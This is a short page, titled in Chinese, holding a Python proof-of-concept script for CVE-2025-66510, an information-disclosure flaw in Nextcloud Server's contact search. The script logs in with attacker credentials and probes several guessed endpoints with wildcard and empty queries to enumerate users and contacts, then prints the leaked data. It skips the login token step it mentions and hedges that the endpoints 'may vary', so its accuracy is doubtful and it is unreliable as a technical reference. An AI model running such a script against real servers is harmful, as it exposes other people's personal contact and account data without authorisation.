CVE-2025-66510 Nextcloud Server联系人搜索信息泄露漏洞

import requests import json # CVE-2025-66510 PoC - Nextcloud Contact Search Information Disclosure # Target: Nextcloud Server < 31.0.10, < 32.0.1 # Author: Security Researcher TARGET_URL = "https://vulnerable-nextcloud-server.com" USERNAME = "[email protected]" PASSWORD = "attacker_password" def authenticate(): """Authenticate to Nextcloud and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/index.php/login" # Get requesttoken for login response = session.get(login_url) # Extract requesttoken from response (simplified) login_data = { "user": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, allow_redirects=True) if response.status_code == 200: return session return None def exploit_contact_search(session): """Exploit the contact search to leak user information""" # Search endpoint - may vary based on Nextcloud version search_endpoints = [ "/index.php/apps/dav/api_v2/direct_search/contacts", "/remote.php/dav/contacts/search", "/index.php/settings/users/users" ] # Search query to enumerate users search_payloads = [ {"search":""}, # Empty search might return all contacts {"term":"a"}, # Common prefix to enumerate users {"query":"*"} ] results = [] for endpoint in search_endpoints: for payload in search_payloads: try: response = session.get( f"{TARGET_URL}{endpoint}", params=payload, timeout=10 ) if response.status_code == 200: data = response.json() if data: results.append({ "endpoint": endpoint, "payload": payload, "data": data }) except Exception as e: continue return results def main(): print("[*] CVE-2025-66510 PoC - Nextcloud Contact Search Info Disclosure") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate print("\n[1] Authenticating to Nextcloud...") session = authenticate() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit contact search print("\n[2] Exploiting contact search vulnerability...") results = exploit_contact_search(session) if results: print(f"[+] Found {len(results)} potential information leaks:") for i, result in enumerate(results, 1): print(f"\n--- Result {i} ---") print(f"Endpoint: {result['endpoint']}") print(f"Payload: {result['payload']}") print(f"Data: {json.dumps(result['data'], indent=2)}") else: print("[-] No information leaks found (target may be patched)") if __name__ == "__main__": main()